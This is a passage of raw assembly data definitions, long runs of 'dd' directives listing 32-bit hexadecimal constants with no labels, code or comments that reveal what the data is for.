8D4447ABh, 74BC378h, 0D3EE2D3Ah dd 674546D1h, 5D74D176h, 0B619CE82h, 8FB141Dh, 0E133A7D8h dd 0A726FDDDh, 0F7A25978h, 1D72D88h, 2D2AA2D3h, 5D9E44B4h dd 0B315F309h, 79F92996h, 0F1A3E363h, 3129A064h, 42DE2974h dd 0C28D7008h, 9D4A93B6h, 0AD629052h, 809C170Bh, 0FD1BBA8h dd 0DB61AF83h, 3AC148BAh, 6C7DC9F1h, 0E74E8DBEh, 0B56A19C7h dd 4C38A76h, 65AD3B59h, 40DCE129h, 5D8611BDh, 1A0FB9FFh dd 97336111h, 0D7DC61C6h, 0A4FF462Ah, 0F3A22F47h, 0EFB8A9ECh dd 9E126504h, 7A922AD7h, 0AE83EC05h, 94A7B3C4h, 358CA0B7h dd 6B04EF3Ch, 8D053C4Ch, 61384689h, 0AD6C509Bh, 40A508DDh dd 65029A18h, 0F7656127h, 0B2FEE591h, 655C5A0Eh, 0C54CA8DBh dd 8B6FC140h, 37C1AB40h, 0D78B5702h, 230307DEh, 630A3B54h dd 8FE48B9Bh, 0A93A0766h, 977C278Eh, 0AF793308h, 8D6E0EE8h dd 2C2E207Eh, 2D29D6E6h, 0D64134E2h, 3E9EA516h, 146AF5D7h dd 0C9EBBD4Dh, 20914287h, 77F7944Ah, 0BB4ADB11h, 6EF8C5B0h dd 0CDA2970Dh, 5B935B56h, 77F40476h, 0F7E18AD6h, 195634F5h dd 68722509h, 0AD5E786Dh, 0D59FD2D6h, 0ECE3E2E2h, 0C2BC4D9h dd 0AADB10F8h, 93332B6Ch, 0A57C0FFDh, 3D8ED90Bh, 0D450C387h dd 0E64ED8A0h, 0D0C3CA26h, 0E9AC5873h, 2F17623Ch, 8221F9FAh dd 0BF2445CEh, 127FD8C2h, 0C7E7E7D6h, 555D270Ah, 2A6EC705h dd 9077A7F8h, 6F2316C1h, 6309B15Bh, 9C9E263Ch, 4C52138Ch dd 0D1970CE9h, 53A4E7A9h, 490C9F2Ch, 0AE27988Dh, 6B449DB7h dd 0FF31769Ch, 0B67B1C7Eh, 5826F1D1h, 5A58C8FBh, 0D4D1AA3Eh dd 0EC0C5B1Ch, 27BF18CCh, 0EFEBB441h, 0BC49E667h, 3EF7C3A0h dd 5256D844h, 0C11E84BEh, 0B74BA9A9h, 9929A1D0h, 7E094D0Eh dd 55036E54h, 0D831F3AEh, 0D8A0DE4Bh, 4C3D9CB6h, 99D6E7B9h dd 0B8C9B583h, 0E7E5A96Ah, 6776D517h, 0BD2BED83h, 0AAD1CC38h dd 4731BCC3h, 94A1DE0Ah, 22831FEBh, 0AB427797h, 59183220h dd 0B099AD85h, 0A9D31E5Bh, 0FFC87ACCh, 0A684996Eh, 7E6FF41Dh dd 6A06EF95h, 87944D5Eh, 4C79FFC2h, 3070C255h, 5A933FB0h dd 0F4CECFE3h, 2437E725h, 2AE3AC3h, 857BCEAFh, 0E24ED45Dh dd 0C7FF9C9Bh, 0ABC87499h, 31D8BB1Ch, 92C21E49h, 71D79B03h dd 1DB336AEh, 0FAE60E79h, 0EDCC2398h, 0F4EC3AADh, 87B7A47Fh dd 570E7E9Eh, 3F9B8726h, 0E9E85F27h, 0FDA9EC8Dh, 91FFC13Ch dd 57F4F421h, 0DB58CFAAh, 4350896h, 5C0C521Fh, 0BD568543h dd 0FDF9658Ch, 27042C15h, 3D98759Bh, 0FD9E916h, 0A099814Fh dd 2C0ADDFh, 9F99D667h, 7AAD0BAAh, 7435125h, 3A24E056h dd 4AD42105h, 4FCCE25Eh, 0B72A86D5h, 77D6DF23h, 8CB1FE99h dd 0C08244A9h, 0BA09466h, 0CA53A35Ch, 1E2B8CF8h, 8D5DA159h dd 264B07A0h, 0B75AAB4Ah, 14E752D0h, 1EE44D2Fh, 0EF289A29h dd 64FEF8B6h, 0FEEEC4F3h, 99C75F80h, 0AC99CF5Ch, 0A2B93355h dd 933F264Fh, 99ABA499h, 7DCBCDF0h, 4FC0993Dh, 94A2DDFDh dd 76ACE1EDh, 77A9D6AFh, 9DEAC82Eh, 1EF7809h, 549F9C6Ah dd 92550110h, 754EF663h, 0D5A6DFC6h, 5E2EC129h, 0D73209Fh dd 0CF99BB31h, 3F9B1CA6h, 58CBAFD1h, 13E511EBh, 155E101Dh dd 15180492h, 0B838E5C5h, 396AE59Ch, 7DD098BFh, 833F73A7h dd 67FEF92Bh, 52405402h, 0C9392516h, 0B8D78AE6h, 77C16AB5h dd 0EF2F05A8h, 5A97F055h, 0E2975FC1h, 0A3E281F3h, 865893AFh dd 0A09474EFh, 7CF8A5E3h, 7BE7E547h, 9371879Eh, 2961F38Ch dd 9DCD01F7h, 0B0EA4F3Dh, 0A381777Eh, 7A8B2F9Fh, 0AA2CBC7Fh dd 0AD28BBB4h, 47764F0Dh, 0ABB73196h, 0C7765731h, 171FEC0Ch dd 8CDFEB1Dh, 5E24E99Ah, 1E2B23E6h, 0BFCFDCAEh, 78B2894Dh dd 0A4FB99E4h, 4314BD4Eh, 978E14BFh, 1EA1603Dh, 6EEB2EF0h dd 416A5DFDh, 6FAD5EFEh, 0E46F5AD1h, 2D909FD6h, 0B46BFB3Bh dd 7B6F01BEh, 5659CD7Eh, 9AAA1AD9h, 0FF185AA8h, 5AFF70ABh dd 96DB54D5h, 848C2B50h, 1FD424C8h, 5F2A2531h, 0A57E6D03h dd 9D5C337Fh, 0A51FF37Fh, 866C82F3h, 68623E5Fh, 0E0EB55E9h dd 7F7A9D2Ah, 186F5A87h, 3FD6ABD7h, 53F5AEE9h, 2BAD64E3h dd 3DFAD57Ah, 0A377D6ADh, 97DEABA2h, 6B95BEB5h, 374106FDh dd 837EB56Ah, 6B4B5D6Bh, 66E7AC99h, 0D416E7AEh, 0E6FF72F3h dd 9B82B22Dh, 642B0565h, 35E3DF05h, 0F1F6704Dh, 904BA95Fh dd 3DB23E60h, 0B4A0C62h, 14AA3AF4h, 5E957CEFh, 0F0817E7Eh dd 0D22AC647h, 3111D057h, 0BEFD3886h, 7F13415Fh, 8E459A87h dd 0D0F5C3ADh, 22156571h, 75CB3205h, 3BD54BD1h, 50D7CDC5h dd 0E2019B6Eh, 0AD41DADDh, 0D2BFE571h, 5FCE66D8h, 979E0C61h dd 1E45F063h, 36C91F83h, 330E2017h, 0FF93C961h, 1CB5502Bh dd 0BF1A7914h, 0F99F58B4h, 0A43BDFBBh, 1A2FCF04h, 0A289712Ah dd 8C0F092Fh, 6F37FB26h, 0E0B165E2h, 0EE764A6Dh, 0B6FEE451h dd 9C2FFDCCh, 619951FBh, 3A7851FCh, 0F66BE7A5h, 0FF3D2A7Ch dd 0DBAB547Ch, 0CE5147EEh, 0DA8F5438h, 1E184B49h, 0C5DAE35Ch dd 0B7911C5Bh, 0BCB682Bh, 9973F89Ch, 0DA7B2D78h, 0CEE947A5h dd 7B47C1E9h, 0A25B72B5h dd 0FF71FE86h, 997C4202h, 0D6B4CD13h, 1FA43036h, 0F43637C3h dd 8E973EEDh, 0F80A0E90h, 0AF792F5Fh, 25F7BABDh, 0B1AB98EFh dd 0B3E176A3h, 9DBC4ED2h, 47A8E847h, 0F836267Bh, 35F48934h dd 0B6289FA3h, 0D5CD81EDh, 70753A89h, 846CC074h, 542C62F8h dd 1CCDF2A6h, 5C399CA1h, 7651E51Ah, 0DE5968BBh, 4EBFC677h dd 94C56551h, 19DF11A7h, 1C295636h, 494DD65Fh, 239FCF29h dd 82DABABh, 8B3FD1E9h, 0ED8E5EFFh, 0D8122971h, 98E5DCC5h dd 0B9D4CB3Bh, 347284B3h, 64864CEFh, 0EB9B0AB3h, 1E50343Eh dd 0EC2564CBh, 2CCA1662h, 5A56D130h, 85BC0E28h, 9D5B5697h dd 0ECEA3262h, 4E8AFB2Fh, 0E0B3F6E5h, 1188B44Ah, 0EE91B163h dd 0BBB09711h, 0F7640C49h, 8B1848A0h, 0A95F7487h, 0ECE83FCAh dd 0E23E9FEAh, 0B7AE2271h, 9E437DE9h, 54602407h, 91963FC9h dd 65D901AAh, 0B640643Fh, 248F7DBCh, 880FC38Ch, 510A6470h dd 5A07FE65h, 0EB933129h, 37E9521Bh, 799AB4C4h, 71603B07h dd 354124FDh, 860A1B19h, 86484864h, 19E16704h, 97859EAFh dd 3A28F645h, 5798BBDBh, 5CB60A1Dh, 0BE1CAA80h, 0BB577819h dd 2E82D019h, 176904F6h, 4E078153h, 1C2F02E8h, 9ADF20BDh dd 6081DAB1h, 16B63B33h, 584CA536h, 72D4BF79h, 0CE323A51h dd 0FE586651h, 374F0CE2h, 0AE6E1356h, 6E87180h, 81BEAB5Bh dd 6AF5282Fh, 2A9B854Ah, 0C23FA3Eh, 3AEB218Eh, 2DA87501h dd 0FD632DDAh, 8755B09Bh, 734DACFCh, 0FA3FC8D4h, 2C03220Bh dd 944E0A51h, 0D7984384h, 0D7CFC21Ah, 0F7A0E1B3h, 0F14916BCh dd 444600B3h, 80853F86h, 0BE1AF092h, 51B855B2h, 8E32E0E1h dd 0FCB1DF8Ch, 2AE38A42h, 78D79661h, 2B85D38Ah, 100994EEh dd 45A8EA89h, 289DFF99h, 0DDCDFA50h, 6D5CB6E0h, 0D795E350h dd 0F3EE8B31h, 5D466C2Dh, 0D75B9676h, 184DF83Fh, 0E7408C36h dd 2BFB7CB8h, 0E9F032CAh, 7CD17B02h, 1B826FBDh, 0B7E21FD2h dd 9DAA4276h, 985E9DF8h, 8566DB5Ah, 49272180h, 0AF770DF0h dd 0D2589F20h, 18C5092Bh, 0C40ED462h, 61897E4Fh, 3BC79F43h dd 991D3DDCh, 0E637D4DFh, 97C74467h, 89381E04h, 18ADD8A7h dd 5AF42758h, 8FAE88EFh, 0AD90F1E2h, 0D3788655h, 384F7E55h dd 246B94B8h, 0B5D7221Dh, 0F1A50794h, 0D24EC25Ah, 375B0F77h dd 235C4C5Bh, 0C2D60AEFh, 240C41A1h, 5A043BB4h, 0D9A5AA8Dh dd 75EA373Dh, 320A28EAh, 0A7356CA7h, 0FE3F2A20h, 82CE1ADAh dd 0AB15AAD3h, 0AC0AE06Eh, 0D5B00AE6h, 0BC69129Eh, 0AE2364A7h dd 2FB72530h, 0C723F61Bh, 0C9A36CA6h, 485C18D5h, 0F5D6B081h dd 682885Ch, 0C02377B1h, 50AD3A12h, 1665F316h, 2B446CECh dd 76D58C31h, 0F1AFE3BBh, 0A7459040h, 69FD69B4h, 0C3D86FA7h dd 95FDEC83h, 3E0CD93Fh, 0F272FCADh, 927997BEh, 14B7C0BBh dd 0F3281C4Dh, 6D6D1594h, 54012B91h, 52C2EC6Eh, 0C0F2B251h dd 171F03D4h, 0FD91F59Ah, 1B3236Ch, 4D6A819Ah, 0D6A07A4Ah dd 0FC78E8A2h, 0DF8C7F96h, 0CE81F589h, 0F2C9BE51h, 8EB1974Bh dd 906CD42Bh, 7811D75Ah, 1DC50DFDh, 0EE297A83h, 4556BF50h dd 28CDAF54h, 4C0D86FFh, 0E66EF6D8h, 6361EEA4h, 0FC1A9196h dd 0DE8DF5CCh, 0B369F1Fh, 4918B4AFh, 9C6ED295h, 0F99EF85Dh dd 0B96CE0A1h, 65E6CD4Ch, 4FAD37CAh, 0D0BEC7A6h, 1F291D32h dd 0D3744AD2h, 0AB1E6D46h, 0CC186C85h, 0CC866743h, 0E2BA866Ah dd 2AD3A07Dh, 0A167E55Ch, 8CBE60AFh, 962EAF90h, 0CC11DDE5h dd 0A443FC3Bh, 0B69A45DCh, 0EEDBF040h, 898224E0h, 0EDC08F92h dd 0A3983B5Eh, 5BBE41CAh, 35576D5h, 0A2DEF717h, 0B2616145h dd 82CF5E60h, 3F06D723h, 99CB5D73h, 0DEA1CAEBh, 0DA5D3ED4h dd 0B20D9B5Dh, 16D5A336h, 0ED5F794Fh, 1EFFDF08h, 0BDAD4EFFh dd 0D9BDB91Bh, 0DCD9BDB2h, 12E4EF5Eh, 0A3435FB6h, 9DF80B37h dd 46771134h, 95D6E600h, 0EFD3E90Dh, 8B004FBFh, 7D9FB5A6h dd 0CBC8C2C2h, 0CDE1C3E0h, 0EAE2CDE6h, 0D4225C76h, 0E15D1B5Ah dd 0CC70F924h, 0E1CDAD69h, 0E65264F7h, 7CC95C35h, 0D64964Bh dd 0D7A9B0B3h, 8309BEA4h, 94318B2Eh, 0D1223BE8h, 0B2EBE089h dd 15B6C211h, 5A766710h, 90AD35E3h, 890E5683h, 7A2CDCB7h dd 7E6AECBEh, 27B37D4Fh, 6A11AF1Eh, 341976D0h, 855D065Fh dd 0F41A98A0h, 96CA0C8Ch, 591AB041h, 0AD06A9D3h, 32E94190h dd 0C59F8BE8h, 3A5DCEE3h, 0FC3FC3BCh, 0D409C853h, 756B73BBh dd 48C1F116h, 0BEBFBDAh, 1AC49E9Dh, 0E2FEFBCh, 0A1E7897Ch dd 1EF6945Dh, 0D58A69DFh, 0BD47985Bh, 8A6D6835h, 5BE0A5C7h dd 0E8C354BAh, 16EF2933h, 0C53A8B86h, 0BA30F587h, 0EFE44A04h dd 0F1994AAAh, 4E0D5498h, 0C6EE3A65h, 7DD6A279h, 0B9BDC169h dd 8EA34BC0h, 484BB5ABh, 406CC898h, 97B6DE92h, 0E4252720h dd 72202B26h, 9E8B45BDh, 88533D66h, 4F3A3B37h, 80C7A142h dd 0EEF93B37h, 0E9E357B5h, 69DBBF11h, 0C38F9C09h, 50A9944Ch dd 1B17694Dh, 448BD432h, 43E23AF6h, 90EA8371h, 835476EFh dd 0B79CB886h, 0EB265509h, 29D45298h, 0E22F464Dh, 0F24D796Ah dd 10D46D05h, 0F27937A8h, 0CF3FB50Bh, 528EE2D5h, 0F0ED4C26h dd 5A850652h, 0EFEA9A5h, 50B158CFh, 7837160Bh, 4437E6F9h dd 7E1F1515h, 0B4FE8B86h, 5ACC0178h, 6C0B1FC4h, 7DF317D3h dd 590CF32Fh, 6C5EBAC5h, 0F3BEA36Ch, 1E5C5A66h, 0BCF7217Dh dd 0D45BCCFAh, 0FCDD4DBEh, 25397EC4h, 216C2B06h, 0BBE2B68Fh dd 0BCAC56E5h, 0B04FF225h, 53CB2F40h, 36D1F156h, 0E535E0CFh dd 798D7A25h, 95C83E49h, 97086158h, 47AC3B6Fh, 0A666E7B2h dd 741D77A8h, 0EEEB8844h, 71F8F0A5h, 5E423ADCh, 72981617h dd 0E92478DFh, 477E3A0Eh, 3D3F664Fh, 0F1144599h, 2C8635EBh dd 7936A451h, 8DAD4E0Fh, 2EF4711Eh, 69DD050Ch, 14BE4BC5h dd 0F5ECE8EFh, 0D48CEF88h, 7B5A3270h, 3164C259h, 0E8D0910Dh dd 3255E8E2h, 3B977D8h, 5BCE06E8h, 45247E2Fh, 1C42939Bh dd 0AAF52CC8h, 0EE646FFh, 0FA6DF1EBh, 26F6DE9Bh, 7A35BFFBh dd 9E72CBA9h, 67C45701h, 4C0679C9h, 0FB299F02h, 84578C19h dd 833CE494h, 0DC6C2C83h, 873EF33Ch, 55E33CE5h, 17E954C3h dd 17E9493h, 68E25546h, 4E594A34h, 0DDC58430h, 1485CAEFh dd 0C6A8160Fh, 0E52BBCB7h, 2CA48Ah, 0E3D6266Dh, 14A29CAEh dd 891EF797h, 9762DCF4h, 4C710F5Ah, 0D731EACh, 0F9252015h dd 1E8D13BAh, 0C000EFC1h, 6BB4C7Fh, 478348B7h, 2D0A31B0h dd 6A5C3E3Ch, 705E90FFh, 0E8D15793h, 0BAD45576h, 45D9457Ch dd 0DC515096h, 38B1E057h, 598F3FB4h, 458F29BCh, 53231576h dd 899EEC3Ah, 43563E2h, 907EECB9h, 0CA8E9E87h, 0F09F2514h dd 544693D0h, 4DC4D33Ch, 0C3FD13B7h, 10F050F6h, 0F93101CCh dd 684D2714h, 0E43874B1h, 5F37FC2Fh, 339F2E5h, 0F77C039Dh dd 55F50A46h, 780E2B03h, 2F7BA0F3h, 4C85AF15h, 81039AE6h dd 0DA7429B6h, 301F773Fh, 89C62A25h, 96B74407h, 9B9FF18Eh dd 8CE5D8F9h, 33EEB1B9h, 3F73A0E3h, 6B58D68Ah, 651F7773h dd 0E8DABD21h, 421C4F28h, 0AA748B77h, 0BE7D773Ah, 406E40F5h dd 0D555D686h, 29376B15h, 0D5568B52h, 3EC2950h, 0F9ACFD4Dh dd 43FA3A12h, 9655414Fh, 0DDA616E7h, 8BFEE6A5h, 3E7A658Ch dd 77E34BEEh, 0F479F08Dh, 16CFB4BDh, 3067F78Ah, 0B6A2A983h dd 66F79178h, 4EF11618h, 9B05B00Ch, 0E22948EEh, 91D67491h dd 45B3672Bh, 399D34FCh dd 51F4DB5Fh, 0A1117933h, 1D7A1FE2h, 22F42DE6h, 95364F68h dd 0BD967853h, 0DCE1DEA8h, 0A85B4987h, 5EAAF5BCh, 0F16F63Ch dd 0EB55B9E7h, 4A49E4BFh, 708E7158h, 0F78F3FEh, 0A1EF1E7Dh dd 86F927CFh, 819037A9h, 751D3C4Dh, 0FC18CDFEh, 697A0C52h dd 8750D30Bh, 39D8A5C4h, 6AA9C298h, 0A998DF11h, 178BEA5Fh dd 34CB17C8h, 4680E437h, 2EAAF025h, 8143C50Ch, 87E3B8A6h dd 0EBC3E424h, 266FF1C7h, 3E7B8AFDh, 39738BE1h, 7A795D89h dd 330A6DDFh, 27222099h, 3FE9A66Bh, 25F99855h, 7AF89D33h dd 77665578h, 670E686h, 3D6246Eh, 67A21B6Eh, 0FCB709FDh dd 7270D91Fh, 6C55CEF3h, 430DF236h, 9ABD6E5Dh, 0E219A457h dd 19E4AF5Fh, 21BF15CCh, 5CD12F28h, 0F24DC0A1h, 652F2FDDh dd 45793BCDh, 18B36BACh, 8566149Ah, 52749D29h, 47225709h dd 67F95659h, 35C275D8h, 0CA7A92E3h, 0A5E0EF35h, 9288D0C8h dd 496519D0h, 2770F5E1h, 0C55E11BEh, 43469F35h, 6B48CF20h dd 5CD40FE5h, 2AD464F6h, 58EF350Bh, 607B9935h, 5AB1775Ch dd 0DE9AD944h, 0DF70E465h, 61CCAF78h, 9484779Fh, 2FADCE7Dh dd 99DE641Dh, 0B726020Ah, 66912CA9h, 93E654BAh, 9BCB1EB3h dd 0C8BB2D37h, 0D7D333E4h, 993FE3FFh, 0ECB0E48Eh, 310F38A2h dd 5386065Fh, 0A3783FC6h, 1EBD9E1Ah, 0D1AF693Ch, 22268FA3h dd 11810396h, 0F59CC0Ah, 17B17776h, 0CEF7E4D9h, 58A5E466h dd 79B25303h, 62D57A6Ch, 0FAD0C951h, 25F8A849h, 79EB3925h dd 401D25h, 0F5EF5256h, 0CEEF10Eh, 0E02A8EBDh, 0ADCD8DF2h dd 46515EF7h, 1610E92Bh, 5FADCC9Ah, 0F23D9291h, 39C8E412h dd 0F225435h, 48C0BABDh, 6E8F4439h, 177171EAh, 0E6F8324Bh dd 83ADFC28h, 14A3A5B5h, 3C1081Eh, 0EB72D22Bh, 71D0B31Eh dd 0D12E9C42h, 4DE7EAF3h, 852F58B8h, 68DE29CEh, 39FA0765h dd 0D0C56678h, 880DB959h, 746F17A8h, 8F557C47h, 3A6D756Bh dd 0EA0E6150h, 977EF14Bh, 919E47A4h, 0BE5AF92Bh, 0AB07342Bh dd 601EF874h, 81977AA7h, 9A107A66h, 642FF9EBh, 0F92C8BBh dd 8D52870Eh, 51278770h, 4A17B14h, 55899DCEh, 609FA3F4h dd 0E5A2CD15h, 8B7EABC3h, 38CC748Bh, 0E1ABAE24h, 5D4590AFh dd 48409BE3h, 8E4204DFh, 368FA460h, 0BD8E7042h, 8C8CD197h dd 413E11A6h, 5FA393E2h, 289A7C42h, 57487E2Ch, 0ECEE5CBEh dd 0D7D9DCC3h, 0B7615CB0h, 8E231ED1h, 0A95AD62Dh, 0C7053DA6h dd 0E0767E23h, 8936B9AFh, 31C1F755h, 55C32F07h, 36ED3CAFh dd 47A4ED0h, 0FF996716h, 75F3BBFh, 587DD4D9h, 3897BD46h dd 0CDB0389Ch, 0FA7E6347h, 0BC096F11h, 7E76CBCh, 0FE49DE77h dd 1A377C1Ah, 5FBBD479h, 0B77A88FCh, 0C5C906D1h, 0D93EDB78h dd 0B567BF85h, 1B6D5DE0h, 40F12571h, 0F7BE5027h, 0EE1F0E98h dd 0F7A92960h, 73A8E620h, 490140CFh, 69E500B2h, 47837FB0h dd 6BFAB7BCh, 0CDEC1F98h, 23FCAAAEh, 2ACED4Bh, 0D6523847h dd 0C8C98219h, 874C13CAh, 0FB8DEEEBh, 0C473EC3Ah, 0E5EA77EBh dd 0A122CD52h, 0BA6DFDACh, 0CBD986BFh, 85CF54DEh, 4EB639F9h dd 0A6E225Fh, 595251AEh, 7780EA16h, 5235898h, 14D55265h dd 0E1F43590h, 5F898F11h, 8A4975D2h, 4748121Fh, 0FC6B9F39h dd 4DDD035h, 6FAE052Ah, 0D62FC8B0h, 0D79542EBh, 5921A791h dd 0B140C55Fh, 4EE6FC14h, 35BB3687h, 0CC25D9ACh, 1B851B26h dd 672BE1FAh, 0EE74EA67h, 8880D74Dh, 0E787A708h, 4218851Bh dd 7B2AC69Bh, 0AD287412h, 959D2D5Ah, 5468C0ECh, 822CE563h dd 3C4B1A61h, 940C778Dh, 0A2170E19h, 3FE13C9Dh, 6C038CB0h dd 7CA8F71Ah, 66EE1477h, 74CABA35h, 0D1A6C2BCh, 0D2B5B20Dh dd 0F8BA7102h, 3366FF31h, 40387B34h, 0C5A5451h, 4270A38Ch dd 2087991Bh, 186E4E15h, 0EE6AEDA2h, 0C2422652h, 44225443h dd 350AFF86h, 1A053FDEh, 0FD2C4CE6h, 72F768C7h, 765EEB8Ah dd 0ADECA80Dh, 6E80D3EAh, 8ECD5E69h, 0DF93D38Eh, 8DDBD84Fh dd 80BB5530h, 0D1F6C814h, 5B1B6931h, 8D662AC1h, 64431Ah dd 0EB3B578Fh, 0DAA039D6h, 0B4CD2AB3h, 0D5B21678h, 0AAD7D8ACh dd 0B221B70Ch, 0B0ECAF5Ch, 0A4962C50h, 6F333A9Bh, 48525B22h dd 7FDC7A98h, 28EF04F3h, 812F6167h, 1AB74B6Fh, 4BBE576Ah dd 560F4589h, 0EFAFABD5h, 22C2B235h, 4A89EFF5h, 57307416h dd 21426E40h, 0BFD54AFFh, 6223DF54h, 18284B7Ch, 0AA765AD3h dd 70026547h, 0EED782ACh, 0A68D735Eh, 17BFC0FDh, 0EB5EA868h dd 0A93BB1D1h, 42764658h, 16D8410Dh, 0F92DFD63h, 2E88A804h dd 22A5D10Dh, 8744343Ah, 0C5A51803h, 0F2EE3C15h, 3A736FEAh dd 0AE9D3C8h, 0BB73C9C6h, 28DC13CCh, 0D8C5D909h, 0DAE850A5h dd 6943A2E9h, 0F449EB12h, 0D9A2E275h, 0B205C66Bh, 982E2969h dd 0C926972Bh, 97640119h, 4673FD38h, 764632Eh, 0FBC43B23h dd 4AC5E912h, 0EA9BDC7Bh, 8890FF10h, 17C440E5h, 629D5378h dd 1294C4B7h, 5B80FDC6h, 0F27F716Fh, 16FCFD30h, 0E7E0773Fh dd 0E7E887BDh, 7B51FA29h, 2F4D7FC9h, 6A31E931h, 5B5ED57Dh dd 7BEA43C9h, 0B32422B4h, 93FF542Ch, 71FBB1B4h, 0B04A8671h dd 9302953Bh, 2F9B48C7h, 0CA05C45h, 54A9BC31h, 5D6884E3h dd 0BE5D6A5Eh, 0D798F72Ch, 0DC4CB9ECh, 9287A793h, 80736B5h dd 20D52185h, 0E66F0C0Ch, 0C5E78736h, 87A605C2h, 0EDD79412h dd 5860F262h, 0A54EBFEh, 0DB9C1C62h, 90FFDD44h, 1D005C21h dd 61FA36E4h, 0F2316E21h, 12277E3Eh, 0E7A899B6h, 4B4EE25Fh dd 0D8A9BE88h, 0D9BE162h, 5431EE9Dh, 0A30AF0A5h, 68D2B372h dd 0EA98AF38h, 1F0212DAh, 0E6ABC21Ah, 4BE409A3h, 4CB3EBE4h dd 0BECC97D5h, 0C06FAAB1h, 0BFECC399h, 540FF542h, 0FEAA57FDh dd 5ABBEC41h, 6FB0A5F5h, 654BEAA4h, 6FAA35DFh, 0A9C6FB30h dd 0C6FB333Eh, 13ABA7C3h, 0A1F53243h, 24F009CAh, 2B87CE1Bh dd 19A1BBF3h, 90EB641Ah, 0A4644C4Eh, 97446D4Ah, 9A0EE43h dd 2076C3B6h, 52077C56h, 0AA42CF89h, 407DAF5h, 74D03F91h dd 0A7334B85h, 458C53D8h, 918040BDh, 355E125Ah, 27050117h dd 0ABC5D8E7h, 0A5C6D0C5h, 2B864ED8h, 0FBB3E0F1h, 6D49C885h dd 33D27D6Ah, 0DFB380B5h, 4923562Bh, 0CC8DEA8Bh, 0F78BB14Ch dd 9EE9F853h, 7505E144h, 417C8A5Dh, 0B4C451CDh, 1140F97Bh dd 0ABAAC4AEh, 7ADBDD62h, 53279F06h, 0D5514CCCh, 0DEE305C7h dd 31F3534h, 567D472Ch, 0A2358542h, 349A9149h, 0E2085F23h dd 310EAECh, 5BFE16A9h, 0BA7A6932h, 0A442E8E8h, 829E4846h dd 87EB23D3h, 0E98A0862h, 0E1DDA594h, 58C894D4h, 0AE1B3522h dd 0FD8AF56h, 34B4E22Dh, 1BA4B583h, 8EF08768h, 773E548Ah dd 1311EE35h, 0F4F55490h, 45C92064h, 36E18D73h, 4346641Ah dd 6223B44Bh, 10EED2FBh, 0BC81178Bh, 0A1D2FA2Ch, 83158A74h dd 0DC0E7412h, 1449628Bh, 0F3B8419Eh, 9B497DB1h, 0CC33A1A5h dd 6EAB006Fh, 7B7EDFD7h, 0D7168B05h, 8D934A46h, 0D8612FD1h dd 2E2629C4h, 6A15B3C2h, 0CC514E4Dh, 75170AE5h, 0EADA8DF0h dd 0A51AF1ABh, 0E58335F4h, 0ED889291h, 3BB3BE5Bh, 705DA455h dd 7F2E26E5h, 7C07E60Dh, 8A724AD3h, 3AE47DBEh, 6FB2CEF3h dd 99157F0Fh, 5D824B71h, 8130337Ch, 6BF5CEF6h, 0A68BE6AEh dd 0BABA81B0h, 318BC1Dh, 9903726Eh, 0AA30A9CBh, 5B7AB7D9h dd 938A2A97h, 0FA1E5288h, 52836A1Dh, 59045F7Eh, 57BA18DAh dd 0EEDACCABh, 6A7AB8CAh dd 55BFFF73h, 0DACA9F9Bh, 6B4FFBACh, 0DF018443h, 3E0F3120h dd 0F424D33Ch, 3E2EBD66h, 0BD5C1AB4h, 0F80C3CCAh, 0CA59FBB4h dd 32B1A52Ch, 6B752494h, 0FD09C745h, 0D891BD83h, 8A97A382h dd 0A0731966h, 89873244h, 68D2932Dh, 6D7FF9C3h, 4530C5EFh dd 0B70EED22h, 0A9A375Eh, 76CA8EDCh, 0EF79EE6h, 0A71B4A75h dd 6AAAC94Eh, 0A50ABCA8h, 0D4FCD6D2h, 6C14900h, 0E2D3A7B5h dd 740901E1h, 779708Ah, 51E24D28h, 0E12D3B6Ch, 6EC6ACF5h dd 7C639CA8h, 0BA4FE64h, 4286387h, 0FE647DEDh, 2F6302E4h dd 793CCCF4h, 999275A7h, 7AFDA265h, 4904F9Eh, 947C4194h dd 69C940E6h, 1A4BD5E7h, 482D51A7h, 7D0F966Eh, 0BE87CB37h dd 0D7D0FC95h, 81E3C4AFh, 80644BCDh, 2DB0065Bh, 64E7B452h dd 0D3F511Dh, 0BBFDEA8Bh, 295698D2h, 1033E387h, 82878BB1h dd 3F17FE1Fh, 3A7EEC14h, 0F42E1CA4h, 0ADAD8DFFh, 61495E45h dd 0E99FD745h, 0E41203FEh, 0C1582595h, 0B5510A98h, 976B5C30h dd 0AFBA8644h, 3A167866h, 0BE39587Bh, 0FA41F754h, 62514E5Ah dd 0F469D04Ah, 0A2ECA30Ah, 2ACBD4C0h, 6E85D747h, 7A171CABh dd 0F7B1133Ah, 0D9235D35h, 6A341740h, 0D3DEE9C1h, 91ED5043h dd 36C0B935h, 0F0991782h, 5838AE06h, 24BE312Bh, 0E285DAB5h dd 9ED664D3h, 0D548B0D4h, 54699132h, 7644EED5h, 0DF04EE82h dd 432F6578h, 39E3D685h, 554C6A74h, 0A030C09Eh, 0E4CDA863h dd 0A4BB471Dh, 6D9EBDB8h, 12872909h, 0D498B097h, 2FF3455Ah dd 0C1487F64h, 2E89D2FDh, 0F1ECEBB5h, 0BFBBD9Dh, 7DDD8778h dd 95F31C62h, 0B8B44607h, 1F6A859Eh, 0D0A30BAh, 0EEFAF9A1h dd 0EE324DB8h, 653954FBh, 933C461Ah, 0BBAB520Bh, 1DE5FF6Ah dd 15AC049Eh, 85B449FEh, 2A535552h, 0B895E7F1h, 90A27A88h dd 0C742502Ah, 0F88764F0h, 0B1A51D3h, 8295BC14h, 15F15C65h dd 0B80BC245h, 0FD04BF9Fh, 321FE530h, 0E658599Fh, 55E38AA8h dd 0AC3BF33Eh, 114FA9F3h, 0EDC4501Bh, 0C2FFEA6Ah, 75927AC0h dd 1961EA39h, 0A625637Ah, 778C7518h, 543C9538h, 38CD6BCDh dd 0C4987A7Eh, 0FD463246h, 3951A53Bh, 7D753D15h, 8DA59157h dd 49FF6944h, 0EBA8BD5Dh, 0ACD4D5EFh, 493FF9EBh, 8BA918BDh dd 0B9CCEE14h, 0B4BD33B2h, 4352D664h, 36D827D5h, 9AFEFA93h dd 0AE3F9A33h, 9A2237Fh, 567B870Eh, 182C434Fh, 99F84F35h dd 524BE177h, 27D32DEDh, 9BEFDF3Fh, 8D5DD102h, 9DE3543Ch dd 7870602Ah, 0C5762712h, 0DEF45BE3h, 85EBEA61h, 0BFD93D29h dd 0D3E2914Ch, 0B1195B70h, 0D0CEF6B5h, 5B9DDAD6h, 710B7226h dd 8C470B44h, 931889F5h, 5A2282D3h, 0AA2C00E4h, 1CB19542h dd 0C9B602C3h, 3E1236E1h, 62EC397Ah, 0A68BA793h, 0A0707462h dd 25F0E0D3h, 